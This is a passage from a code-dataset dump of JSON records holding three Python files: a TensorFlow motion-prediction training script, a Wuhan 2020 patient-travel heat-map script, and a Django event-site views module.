"usage_type": "attribute"}, {"api_name": "logging.basicConfig", "line_number": 214, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 215, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 215, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 216, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 217, "usage_type": "attribute"}, {"api_name": "requests.packages.urllib3.disable_warnings", "line_number": 221, "usage_type": "call"}, {"api_name": "requests.packages", "line_number": 221, "usage_type": "attribute"}, {"api_name": "requests.session", "line_number": 222, "usage_type": "call"}, {"api_name": "urllib.parse.urlparse", "line_number": 229, "usage_type": "call"}]} {"seq_id": "24175532113", "text": "\"\"\"Copyright (c) 2019 AIT Lab, ETH Zurich, Manuel Kaufmann, Emre Aksan\r\n\r\nStudents and holders of copies of this code, accompanying datasets,\r\nand documentation, are not allowed to copy, distribute or modify\r\nany of the mentioned materials beyond the scope and duration of the\r\nMachine Perception course projects.\r\n\r\nThat is, no partial/full copy nor modification of this code and\r\naccompanying data should be made publicly or privately available to\r\ncurrent/future students or other parties.\r\n\"\"\"\r\nimport os\r\nimport time\r\nimport argparse\r\nimport json\r\nimport numpy as np\r\nimport tensorflow as tf\r\n\r\nimport tf_models as models\r\nfrom tf_data import TFRecordMotionDataset\r\nfrom constants import Constants as C\r\nfrom motion_metrics import MetricsEngine\r\n\r\nparser = argparse.ArgumentParser()\r\n\r\n# Data\r\nparser.add_argument('--data_dir', required=True, default='./data', help='Where the data (tfrecords) is stored.')\r\nparser.add_argument('--save_dir', required=True, default='./experiments', help='Where to save checkpoints to.')\r\nparser.add_argument(\"--seq_length_in\", type=int, default=120, help=\"Number of input frames (60 fps).\")\r\nparser.add_argument(\"--seq_length_out\", type=int, default=24, help=\"Number of output frames (60 fps).\")\r\n\r\n# Learning\r\nparser.add_argument('--learning_rate', type=float, default=0.0005, help='Learning rate.')\r\nparser.add_argument(\"--batch_size\", type=int, default=64, help=\"Batch size to use during training.\")\r\n\r\n# Architecture\r\nparser.add_argument(\"--model_type\", type=str, default=\"dummy\", help=\"Model to train.\")\r\nparser.add_argument(\"--cell_type\", type=str, default=\"lstm\", help=\"RNN cell type: lstm, gru\")\r\nparser.add_argument(\"--cell_size\", type=int, default=1024, help=\"RNN cell size.\")\r\nparser.add_argument(\"--num_layers\", type=int, default=3, help=\"number of rnns to stack.\")\r\nparser.add_argument(\"--input_hidden_size\", type=int, default=None, help=\"Input dense layer before the recurrent cell.\")\r\nparser.add_argument(\"--activation_fn\", type=str, default=None, help=\"Activation Function on the output.\")\r\nparser.add_argument(\"--loss_to_use\",type=str,default=\"sampling_based\")\r\nparser.add_argument(\"--architecture\",type=str,default=\"basic\",help=\"basic or tied\")\r\n\r\n# Training\r\nparser.add_argument(\"--num_epochs\", type=int, default=400, help=\"Number of training epochs.\")\r\nparser.add_argument(\"--print_every\", type=int, default=200, help=\"How often to log training error.\")\r\nparser.add_argument(\"--test_every\", type=int, default=500, help=\"How often to compute the error on the validation set.\")\r\nparser.add_argument(\"--use_cpu\", action=\"store_true\", help=\"Use CPU instead of GPU.\")\r\nparser.add_argument(\"--experiment_name\", type=str, default=None, help=\"A descriptive name for the experiment.\")\r\n\r\n\r\nARGS = parser.parse_args()\r\nEXPERIMENT_TIMESTAMP = str(int(time.time()))\r\n\r\n\r\ndef create_model(session):\r\n # Global step variable.\r\n global_step = tf.Variable(1, trainable=False, name='global_step')\r\n\r\n # Get the paths to the TFRecord files.\r\n data_path = ARGS.data_dir\r\n train_data_path = os.path.join(data_path, \"training\", \"poses-?????-of-?????\")\r\n valid_data_path = os.path.join(data_path, \"validation\", \"poses-?????-of-?????\")\r\n meta_data_path = os.path.join(data_path, \"training\", \"stats.npz\")\r\n train_dir = ARGS.save_dir\r\n\r\n # Parse the commandline arguments to a more readable config.\r\n if ARGS.model_type == \"dummy\":\r\n model_cls, config, experiment_name = get_dummy_config(ARGS)\r\n else:\r\n raise Exception(\"Model type '{}' unknown.\".format(ARGS.model_type))\r\n\r\n # Create a folder for the experiment.\r\n experiment_dir = os.path.normpath(os.path.join(train_dir, experiment_name))\r\n if not os.path.exists(experiment_dir):\r\n os.makedirs(experiment_dir)\r\n\r\n # Load the training data.\r\n window_length = ARGS.seq_length_in + ARGS.seq_length_out\r\n with tf.name_scope(\"training_data\"):\r\n train_data = TFRecordMotionDataset(data_path=train_data_path,\r\n meta_data_path=meta_data_path,\r\n batch_size=ARGS.batch_size,\r\n shuffle=True,\r\n extract_windows_of=window_length,\r\n extract_random_windows=True,\r\n num_parallel_calls=16)\r\n train_pl = train_data.get_tf_samples()\r\n\r\n # Load validation data.\r\n with tf.name_scope(\"validation_data\"):\r\n valid_data = TFRecordMotionDataset(data_path=valid_data_path,\r\n meta_data_path=meta_data_path,\r\n batch_size=ARGS.batch_size,\r\n shuffle=False,\r\n extract_windows_of=window_length,\r\n extract_random_windows=False,\r\n num_parallel_calls=16)\r\n valid_pl = valid_data.get_tf_samples()\r\n\r\n # Create the training model.\r\n with tf.name_scope(C.TRAIN):\r\n train_model = model_cls(\r\n config=config,\r\n data_pl=train_pl,\r\n mode=C.TRAIN,\r\n reuse=False,\r\n dtype=tf.float32)\r\n train_model.build_graph()\r\n\r\n # Create a copy of the training model for validation.\r\n with tf.name_scope(C.EVAL):\r\n valid_model = model_cls(\r\n config=config,\r\n data_pl=valid_pl,\r\n mode=C.EVAL,\r\n reuse=True,\r\n dtype=tf.float32)\r\n valid_model.build_graph()\r\n\r\n # Count and print the number of trainable parameters.\r\n num_param = 0\r\n for v in tf.trainable_variables():\r\n num_param += np.prod(v.shape.as_list())\r\n print(\"# of parameters: \" + str(num_param))\r\n config[\"num_parameters\"] = int(num_param)\r\n\r\n # Dump the config to the experiment directory.\r\n json.dump(config, open(os.path.join(experiment_dir, 'config.json'), 'w'), indent=4, sort_keys=True)\r\n print(\"Experiment directory \" + experiment_dir)\r\n\r\n # Create the optimizer for the training model.\r\n train_model.optimization_routines()\r\n\r\n # Create the summaries for tensoboard.\r\n train_model.summary_routines()\r\n valid_model.summary_routines()\r\n\r\n # Create the saver object to store checkpoints. We keep track of only 1 checkpoint.\r\n saver = tf.train.Saver(tf.global_variables(), max_to_keep=1, save_relative_paths=True)\r\n\r\n # Initialize the variables.\r\n print(\"Creating model with fresh parameters.\")\r\n session.run(tf.global_variables_initializer())\r\n\r\n models = [train_model, valid_model]\r\n data = [train_data, valid_data]\r\n return models, data, saver, global_step, experiment_dir\r\n\r\n\r\ndef load_latest_checkpoint(sess, saver, experiment_dir):\r\n \"\"\"Restore the latest checkpoint found in `experiment_dir`.\"\"\"\r\n ckpt = tf.train.get_checkpoint_state(experiment_dir, latest_filename=\"checkpoint\")\r\n\r\n if ckpt and ckpt.model_checkpoint_path:\r\n # Check if the specific checkpoint exists\r\n ckpt_name = os.path.basename(ckpt.model_checkpoint_path)\r\n print(\"Loading model checkpoint {0}\".format(ckpt_name))\r\n saver.restore(sess, ckpt.model_checkpoint_path)\r\n else:\r\n raise ValueError(\"could not load checkpoint\")\r\n\r\n\r\ndef get_dummy_config(args):\r\n \"\"\"\r\n Create a config from the parsed commandline arguments that is more readable. You can use this to define more\r\n parameters and their default values.\r\n Args:\r\n args: The parsed commandline arguments.\r\n\r\n Returns:\r\n The model class, the config, and the experiment name.\r\n \"\"\"\r\n assert args.model_type == \"dummy\"\r\n\r\n config = dict()\r\n config['model_type'] = args.model_type\r\n config['seed'] = C.SEED\r\n config['learning_rate'] = args.learning_rate\r\n config['cell_type'] = args.cell_type\r\n config['num_layers'] = args.num_layers\r\n config['cell_size'] = args.cell_size\r\n config['input_hidden_size'] = args.input_hidden_size\r\n config['source_seq_len'] = args.seq_length_in\r\n config['target_seq_len'] = args.seq_length_out\r\n config['batch_size'] = args.batch_size\r\n config['activation_fn'] = args.activation_fn\r\n config['loss_to_use'] = args.loss_to_use\r\n config['architecture'] = args.architecture\r\n model_cls = models.S2sModel\r\n\r\n # Create an experiment name that summarizes the configuration.\r\n # It will be used as part of the experiment folder name.\r\n experiment_name_format = \"{}-{}{}-b{}-{}@{}-in{}_out{}\"\r\n experiment_name = experiment_name_format.format(EXPERIMENT_TIMESTAMP,\r\n args.model_type,\r\n \"-\"+args.experiment_name if args.experiment_name is not None else \"\",\r\n config['batch_size'],\r\n config['cell_size'],\r\n config['cell_type'],\r\n args.seq_length_in,\r\n args.seq_length_out)\r\n return model_cls, config, experiment_name\r\n\r\n\r\ndef train():\r\n \"\"\"\r\n The main training loop. Loads the data, creates the model, and trains for the specified number of epochs.\r\n \"\"\"\r\n # Limit TF to take a fraction of the GPU memory\r\n gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=0.9, allow_growth=True)\r\n device_count = {\"GPU\": 0} if ARGS.use_cpu else {\"GPU\": 1}\r\n with tf.Session(config=tf.ConfigProto(gpu_options=gpu_options, device_count=device_count)) as sess:\r\n\r\n # Create the models and load the data.\r\n models, data, saver, global_step, experiment_dir = create_model(sess)\r\n train_model, valid_model = models\r\n train_data, valid_data = data\r\n\r\n # Create metrics engine including summaries\r\n target_lengths = [x for x in C.METRIC_TARGET_LENGTHS if x <= train_model.target_seq_len]\r\n metrics_engine = MetricsEngine(target_lengths)\r\n # create the necessary summary placeholders and ops\r\n metrics_engine.create_summaries()\r\n # reset computation of metrics\r\n metrics_engine.reset()\r\n\r\n # Summary writers for train and test runs\r\n summaries_dir = os.path.normpath(os.path.join(experiment_dir, \"log\"))\r\n train_writer = tf.summary.FileWriter(summaries_dir, sess.graph)\r\n valid_writer = train_writer\r\n print(\"Model created\")\r\n\r\n # Training loop configuration.\r\n stop_signal = False\r\n time_counter = 0.0\r\n step = 1\r\n epoch = 0\r\n train_loss = 0.0\r\n train_iter = train_data.get_iterator()\r\n valid_iter = valid_data.get_iterator()\r\n\r\n print(\"Running Training Loop.\")\r\n # Initialize the data iterators.\r\n sess.run(train_iter.initializer)\r\n sess.run(valid_iter.initializer)\r\n\r\n def evaluate_model(_eval_model, _eval_iter, _metrics_engine, _return_results=False):\r\n # make a full pass on the validation set and compute the metrics\r\n _eval_result = dict()\r\n _start_time = time.perf_counter()\r\n _metrics_engine.reset()\r\n sess.run(_eval_iter.initializer)\r\n try:\r\n while True:\r\n # get the predictions and ground truth values\r\n #predictions, targets, seed_sequence, data_id = _eval_model.sampled_step(sess)\r\n loss, summary,targets, predictions = _eval_model.sampled_step(sess)\r\n predictions = np.array(predictions)\r\n targets = np.array(targets)\r\n predictions = predictions.transpose((1,0,2))\r\n #print(predictions.shape)\r\n #print(targets.shape)\r\n _metrics_engine.compute_and_aggregate(predictions, targets)\r\n\r\n if _return_results:\r\n # Store each test sample and corresponding predictions with the unique sample IDs.\r\n for k in range(predictions.shape[0]):\r\n _eval_result[data_id[k].decode(\"utf-8\")] = (predictions[k],\r\n targets[k],\r\n seed_sequence[\"poses\"][k])\r\n\r\n except tf.errors.OutOfRangeError:\r\n # finalize the computation of the metrics\r\n final_metrics = _metrics_engine.get_final_metrics()\r\n return final_metrics, time.perf_counter() - _start_time, _eval_result\r\n\r\n while not stop_signal:\r\n # Training.\r\n for i in range(ARGS.test_every):\r\n try:\r\n start_time = time.perf_counter()\r\n step += 1\r\n\r\n step_loss, summary, prediction = train_model.step(sess)\r\n \r\n train_writer.add_summary(summary, step)\r\n train_loss += step_loss\r\n\r\n time_counter += (time.perf_counter() - start_time)\r\n if step % ARGS.print_every == 0:\r\n train_loss_avg = train_loss / ARGS.print_every\r\n time_elapsed = time_counter / ARGS.print_every\r\n train_loss, time_counter = 0., 0.\r\n print(\"Train [{:04d}] \\t Loss: {:.3f} \\t time/batch: {:.3f}\".format(step,\r\n train_loss_avg,\r\n time_elapsed))\r\n\r\n except tf.errors.OutOfRangeError:\r\n sess.run(train_iter.initializer)\r\n epoch += 1\r\n if epoch >= ARGS.num_epochs:\r\n stop_signal = True\r\n break\r\n\r\n # Evaluation: make a full pass on the validation split.\r\n valid_metrics, valid_time, _ = evaluate_model(valid_model, valid_iter, metrics_engine)\r\n # print an informative string to the console\r\n print(\"Valid [{:04d}] \\t {} \\t total_time: {:.3f}\".format(step - 1,\r\n metrics_engine.get_summary_string(valid_metrics),\r\n valid_time))\r\n\r\n # Write summaries to tensorboard.\r\n summary_feed = metrics_engine.get_summary_feed_dict(valid_metrics)\r\n summaries = sess.run(metrics_engine.all_summaries_op, feed_dict=summary_feed)\r\n valid_writer.add_summary(summaries, step)\r\n\r\n # Reset metrics and iterator.\r\n metrics_engine.reset()\r\n sess.run(valid_iter.initializer)\r\n\r\n # Save the model. You might want to think about if it's always a good idea to do that.\r\n print(\"Saving the model to {}\".format(experiment_dir))\r\n saver.save(sess, os.path.normpath(os.path.join(experiment_dir, 'checkpoint')), global_step=step-1)\r\n\r\n print(\"End of Training.\")\r\n\r\n print(\"Evaluating validation set ...\")\r\n load_latest_checkpoint(sess, saver, experiment_dir)\r\n valid_metrics, valid_time, _ = evaluate_model(valid_model, valid_iter, metrics_engine)\r\n print(\"Valid [{:04d}] \\t {} \\t total_time: {:.3f}\".format(step - 1,\r\n metrics_engine.get_summary_string(valid_metrics),\r\n valid_time))\r\n\r\n print(\"Training Finished.\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n train()\r\n", "repo_name": "zj-dong/human-motion-prediction", "sub_path": "train.py", "file_name": "train.py", "file_ext": "py", "file_size_in_byte": 15904, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 24, "usage_type": "call"}, {"api_name": "time.time", "line_number": 55, "usage_type": "call"}, {"api_name": "tensorflow.Variable", "line_number": 60, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 64, "usage_type": "call"}, {"api_name": "os.path", "line_number": 64, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path", "line_number": 65, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 66, "usage_type": "call"}, {"api_name": "os.path", "line_number": 66, "usage_type": "attribute"}, {"api_name": "os.path.normpath", "line_number": 76, "usage_type": "call"}, {"api_name": "os.path", "line_number": 76, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 76, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 77, "usage_type": "call"}, {"api_name": "os.path", "line_number": 77, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 78, "usage_type": "call"}, {"api_name": "tensorflow.name_scope", "line_number": 82, "usage_type": "call"}, {"api_name": "tf_data.TFRecordMotionDataset", "line_number": 83, "usage_type": "call"}, {"api_name": "tensorflow.name_scope", "line_number": 93, "usage_type": "call"}, {"api_name": "tf_data.TFRecordMotionDataset", "line_number": 94, "usage_type": "call"}, {"api_name": "tensorflow.name_scope", "line_number": 104, "usage_type": "call"}, {"api_name": "constants.Constants.TRAIN", "line_number": 104, "usage_type": "attribute"}, {"api_name": "constants.Constants", "line_number": 104, "usage_type": "name"}, {"api_name": "constants.Constants.TRAIN", "line_number": 108, "usage_type": "attribute"}, {"api_name": "constants.Constants", "line_number": 108, "usage_type": "name"}, {"api_name": "tensorflow.float32", "line_number": 110, "usage_type": "attribute"}, {"api_name": "tensorflow.name_scope", "line_number": 114, "usage_type": "call"}, {"api_name": "constants.Constants.EVAL", "line_number": 114, "usage_type": "attribute"}, {"api_name": "constants.Constants", "line_number": 114, "usage_type": "name"}, {"api_name": "constants.Constants.EVAL", "line_number": 118, "usage_type": "attribute"}, {"api_name": "constants.Constants", "line_number": 118, "usage_type": "name"}, {"api_name": "tensorflow.float32", "line_number": 120, "usage_type": "attribute"}, {"api_name": "tensorflow.trainable_variables", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.prod", "line_number": 126, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 131, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 131, "usage_type": "call"}, {"api_name": "os.path", "line_number": 131, "usage_type": "attribute"}, {"api_name": "tensorflow.train.Saver", "line_number": 142, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 142, "usage_type": "attribute"}, {"api_name": "tensorflow.global_variables", "line_number": 142, "usage_type": "call"}, {"api_name": "tensorflow.global_variables_initializer", "line_number": 146, "usage_type": "call"}, {"api_name": "tensorflow.train.get_checkpoint_state", "line_number": 155, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 155, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 159, "usage_type": "call"}, {"api_name": "os.path", "line_number": 159, "usage_type": "attribute"}, {"api_name": "constants.Constants.SEED", "line_number": 180, "usage_type": "attribute"}, {"api_name": "constants.Constants", "line_number": 180, "usage_type": "name"}, {"api_name": "tf_models.S2sModel", "line_number": 192, "usage_type": "attribute"}, {"api_name": "tensorflow.GPUOptions", "line_number": 213, "usage_type": "call"}, {"api_name": "tensorflow.Session", "line_number": 215, "usage_type": "call"}, {"api_name": "tensorflow.ConfigProto", "line_number": 215, "usage_type": "call"}, {"api_name": "constants.Constants.METRIC_TARGET_LENGTHS", "line_number": 223, "usage_type": "attribute"}, {"api_name": "constants.Constants", "line_number": 223, "usage_type": "name"}, {"api_name": "motion_metrics.MetricsEngine", "line_number": 224, "usage_type": "call"}, {"api_name": "os.path.normpath", "line_number": 231, "usage_type": "call"}, {"api_name": "os.path", "line_number": 231, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 231, "usage_type": "call"}, {"api_name": "tensorflow.summary.FileWriter", "line_number": 232, "usage_type": "call"}, {"api_name": "tensorflow.summary", "line_number": 232, "usage_type": "attribute"}, {"api_name": "time.perf_counter", "line_number": 253, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 261, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 262, "usage_type": "call"}, {"api_name": "tensorflow.errors", "line_number": 275, "usage_type": "attribute"}, {"api_name": "time.perf_counter", "line_number": 278, "usage_type": "call"}, {"api_name": "time.perf_counter", "line_number": 284, "usage_type": "call"}, {"api_name": "time.perf_counter", "line_number": 292, "usage_type": "call"}, {"api_name": "tensorflow.errors", "line_number": 301, "usage_type": "attribute"}, {"api_name": "os.path.normpath", "line_number": 326, "usage_type": "call"}, {"api_name": "os.path", "line_number": 326, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 326, "usage_type": "call"}]} {"seq_id": "19593636275", "text": "import json\nfrom datetime import datetime, timedelta\nimport pandas as pd\n\n\ndef main():\n with open('/Users/yahe16/Documents/GitHub/wuhan2020/data/fe/patient_detail/1anhui.json', encoding='utf-8') as f:\n data = json.load(f)\n output = []\n for p in data:\n id = p['id']\n province = p['province']\n city = p['city']\n activity = []\n activity.append((p['confirmHospital'], p['confirmDate'][:10])) # append event pair (location, date)\n if len(p['travelData']) >= 1:\n for item in p['travelData']:\n if item['travelDate'] != '' and item['travelFrom'].strip() != '':\n if item['travelMethod'] in ['火车', '高铁', '动车'] and '站' not in item['travelFrom']:\n activity.append((item['travelFrom'] + '站', item['travelDate'][:10]))\n else:\n activity.append((item['travelFrom'], item['travelDate'][:10]))\n if item['travelDate'] != '' and item['travelTo'].strip() != '':\n if item['travelMethod'] in ['火车', '高铁', '动车'] and '站' not in item['travelTo']:\n activity.append((item['travelTo'] + '站', item['travelDate'][:10]))\n else:\n activity.append((item['travelTo'], item['travelDate'][:10]))\n if len(p['eventData']) >= 1:\n for item in p['eventData']:\n if item['eventAddr'].strip() != '' and item['eventStartTime'] != '':\n activity.append((item['eventAddr'], item['eventStartTime'][:10]))\n for row in activity:\n output.append((id, province, city, row[0], row[1], 0.8)) # Day 0\n output.append((id, province, city, row[0], (datetime.strptime(row[1],'%Y-%m-%d') + timedelta(1)).strftime('%Y-%m-%d'), 0.482)) # Day 1\n output.append((id, province, city, row[0], (datetime.strptime(row[1],'%Y-%m-%d') + timedelta(2)).strftime('%Y-%m-%d'), 0.108)) # Day 2\n output.append((id, province, city, row[0], (datetime.strptime(row[1],'%Y-%m-%d') + timedelta(3)).strftime('%Y-%m-%d'), 0.009)) # Day 3\n # with open('output.txt', 'w', encoding='utf-8') as f_out:\n # for line in output:\n # line_str = ','.join(line) + '\\n'\n # f_out.write(line_str)\n df = pd.DataFrame(output, columns=['ID', 'Province', 'City', 'Location', 'Date', 'Weight'])\n df_g = df.groupby(['Province', 'City', 'Location', 'Date'])['Weight'].agg('sum')\n df_g.to_csv('output.csv', header=True)\n\n\n\n\n\nif __name__ == '__main__':\n main()", "repo_name": "powersum/wuhan_2020_route_modeling", "sub_path": "heat_map_modeling.py", "file_name": "heat_map_modeling.py", "file_ext": "py", "file_size_in_byte": 2601, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "json.load", "line_number": 8, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 34, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 34, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 34, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 35, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 35, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 35, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 36, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 36, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 36, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 41, "usage_type": "call"}]} {"seq_id": "26043438519", "text": "# -*- coding: utf-8 -*-\nfrom django.conf import settings\nfrom django.contrib.flatpages.models import FlatPage\nfrom django.core.xheaders import populate_xheaders\nfrom django.http import Http404, HttpResponse, HttpResponsePermanentRedirect, HttpResponseForbidden\nfrom django.shortcuts import get_object_or_404\nfrom django.template import loader, RequestContext, Template\nfrom django.utils.safestring import mark_safe\nfrom django.views.decorators.csrf import csrf_protect\nfrom django.contrib.sites.models import Site, get_current_site\nfrom django.core.urlresolvers import reverse\nfrom django.shortcuts import redirect\n\nfrom annoying.decorators import render_to\nfrom annoying.functions import get_object_or_None\n\nfrom event.models import Event, EventCategory\n\n\nDEFAULT_TEMPLATE = 'flatpages/default.html'\nEVENTS_TEMPLATE = Template('{% load event_tags %}{% events_random events today %}
Все {{ sel_category.title|lower }} {% if today %}сегодня{% else %}скоро{% endif %}
')\n\n\ndef forbidden(request, template_name='403.html'):\n \"\"\"\n return forbidden template with 403 http code\n \"\"\"\n t = loader.get_template(template_name)\n\n return HttpResponseForbidden(t.render(RequestContext(request)))\n\n\n@render_to('index.html')\ndef index(request):\n if request.is_ajax():\n ct = request.GET.get('ct', None)\n cs = request.GET.get('cs', None)\n if cs:\n if cs == 'all':\n events = Event.objects.soon().filter(publish_on_main=True)\\\n .order_by('?')\n sel_category = None\n sel_category_url = reverse('event_tab_soon')\n else:\n sel_category = get_object_or_None(EventCategory, id=cs)\n events = Event.objects.random_soon(sel_category)\n sel_category_url = reverse('event_soon', kwargs={'category_slug': sel_category.slug})\n today = False\n elif ct:\n if ct == 'all':\n events = Event.objects.today().filter(publish_on_main=True)\\\n .order_by('?')\n sel_category = None\n sel_category_url = reverse('event_list')\n else:\n sel_category = get_object_or_None(EventCategory, id=ct)\n events = Event.objects.random_today(sel_category)\n sel_category_url = reverse('event_category_list', kwargs={'category_slug': sel_category.slug})\n today = True\n\n context = RequestContext(request, {'events': events, \"today\": today, \"sel_category\":sel_category, \"sel_category_url\":sel_category_url})\n return HttpResponse(EVENTS_TEMPLATE.render(context))\n\n# Это непонятный гемор связанный с городами\n #if request.META['GEOIP_CITY'] != '' and request.META['HTTP_HOST'] == 'zaotdih.ru':\n # if request.META['HTTP_HOST'] == 'zaotdih.ru':\n # city_id = 1\n\t# \"\"\"\n # if request.META['GEOIP_CITY'] == 'Omsk':\n # city_id = 1\n # if request.META['GEOIP_CITY'] == 'Novosibirsk':\n # city_id = 2\n\t# \"\"\"\n # if city_id:\n # redirect_domain = Site.objects.get(id = city_id).domain\n # current_domain = request.META['HTTP_HOST']\n # if redirect_domain != current_domain:\n # return redirect('http://%s' % redirect_domain)\n# Здесь гемор заканчивается\n\n category_today = EventCategory.objects.active_today(events__publish_on_main=True).order_by('order')\n category_soon = EventCategory.objects.active_soon().filter(events__isnull=False, events__publish_on_main=True).order_by('order')\n\n return {\n \"category_today\": category_today,\n \"category_soon\": category_soon,\n \"qs_today\": Event.objects.today().filter(publish_on_main=True).prefetch_related('category', 'members').order_by('?')[:7],\n \"qs_soon\": Event.objects.soon().filter(publish_on_main=True).prefetch_related('category', 'members').order_by('?')[:7],\n }\n\n\ndef flatpage(request, url):\n \"\"\"\n Public interface to the flat page view.\n\n Models: `flatpages.flatpages`\n Templates: Uses the template defined by the ``template_name`` field,\n or :template:`flatpages/default.html` if template_name is not defined.\n Context:\n flatpage\n `flatpages.flatpages` object\n \"\"\"\n if not url.startswith('/'):\n url = '/' + url\n site_id = get_current_site(request).id\n try:\n f = get_object_or_404(FlatPage,\n url__exact=url, sites__id__exact=site_id)\n except Http404:\n if not url.endswith('/') and settings.APPEND_SLASH:\n url += '/'\n f = get_object_or_404(FlatPage,\n url__exact=url, sites__id__exact=site_id)\n return HttpResponsePermanentRedirect('%s/' % request.path)\n else:\n raise\n return render_flatpage(request, f)\n\n@csrf_protect\ndef render_flatpage(request, f):\n \"\"\"\n Internal interface to the flat page view.\n \"\"\"\n # If registration is required for accessing this page, and the user isn't\n # logged in, redirect to the login page.\n if f.registration_required and not request.user.is_authenticated():\n from django.contrib.auth.views import redirect_to_login\n return redirect_to_login(request.path)\n if f.template_name:\n t = loader.select_template((f.template_name, DEFAULT_TEMPLATE))\n else:\n t = loader.get_template(DEFAULT_TEMPLATE)\n\n # To avoid having to always use the \"|safe\" filter in flatpage templates,\n # mark the title and content as already safe (since they are raw HTML\n # content in the first place).\n f.title = mark_safe(f.title)\n #TinyMCE add '/admin/flatpages/flatpage/add/' to all urls\n #startswith '{'. Next line fix this bug.\n f.content = f.content.replace('/admin/flatpages/flatpage/add/', '')\n f.content = Template(f.content).render(RequestContext(request))\n\n c = RequestContext(request, {\n 'flatpage': f,\n })\n response = HttpResponse(t.render(c))\n populate_xheaders(request, response, FlatPage, f.id)\n return response", "repo_name": "modamania/otdohni", "sub_path": "apps/core/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 6187, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.template.Template", "line_number": 21, "usage_type": "call"}, {"api_name": "django.template.loader.get_template", "line_number": 28, "usage_type": "call"}, {"api_name": "django.template.loader", "line_number": 28, "usage_type": "name"}, {"api_name": "django.http.HttpResponseForbidden", "line_number": 30, "usage_type": "call"}, {"api_name": "django.template.RequestContext", "line_number": 30, "usage_type": "call"}, {"api_name": "event.models.Event.objects.soon", "line_number": 40, "usage_type": "call"}, {"api_name": "event.models.Event.objects", "line_number": 40, "usage_type": "attribute"}, {"api_name": "event.models.Event", "line_number": 40, "usage_type": "name"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 43, "usage_type": "call"}, {"api_name": "annoying.functions.get_object_or_None", "line_number": 45, "usage_type": "call"}, {"api_name": "event.models.EventCategory", "line_number": 45, "usage_type": "argument"}, {"api_name": "event.models.Event.objects.random_soon", "line_number": 46, "usage_type": "call"}, {"api_name": "event.models.Event.objects", "line_number": 46, "usage_type": "attribute"}, {"api_name": "event.models.Event", "line_number": 46, "usage_type": "name"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 47, "usage_type": "call"}, {"api_name": "event.models.Event.objects.today", "line_number": 51, "usage_type": "call"}, {"api_name": "event.models.Event.objects", "line_number": 51, "usage_type": "attribute"}, {"api_name": "event.models.Event", "line_number": 51, "usage_type": "name"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 54, "usage_type": "call"}, {"api_name": "annoying.functions.get_object_or_None", "line_number": 56, "usage_type": "call"}, {"api_name": "event.models.EventCategory", "line_number": 56, "usage_type": "argument"}, {"api_name": "event.models.Event.objects.random_today", "line_number": 57, "usage_type": "call"}, {"api_name": "event.models.Event.objects", "line_number": 57, "usage_type": "attribute"}, {"api_name": "event.models.Event", "line_number": 57, "usage_type": "name"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 58, "usage_type": "call"}, {"api_name": "django.template.RequestContext", "line_number": 61, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 62, "usage_type": "call"}, {"api_name": "event.models.EventCategory.objects.active_today", "line_number": 81, "usage_type": "call"}, {"api_name": "event.models.EventCategory.objects", "line_number": 81, "usage_type": "attribute"}, {"api_name": "event.models.EventCategory", "line_number": 81, "usage_type": "name"}, {"api_name": "event.models.EventCategory.objects.active_soon", "line_number": 82, "usage_type": "call"}, {"api_name": "event.models.EventCategory.objects", "line_number": 82, "usage_type": "attribute"}, {"api_name": "event.models.EventCategory", "line_number": 82, "usage_type": "name"}, {"api_name": "event.models.Event.objects.today", "line_number": 87, "usage_type": "call"}, {"api_name": "event.models.Event.objects", "line_number": 87, "usage_type": "attribute"}, {"api_name": "event.models.Event", "line_number": 87, "usage_type": "name"}, {"api_name": "event.models.Event.objects.soon", "line_number": 88, "usage_type": "call"}, {"api_name": "event.models.Event.objects", "line_number": 88, "usage_type": "attribute"}, {"api_name": "event.models.Event", "line_number": 88, "usage_type": "name"}, {"api_name": "annoying.decorators.render_to", "line_number": 33, "usage_type": "call"}, {"api_name": "django.contrib.sites.models.get_current_site", "line_number": 105, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 107, "usage_type": "call"}, 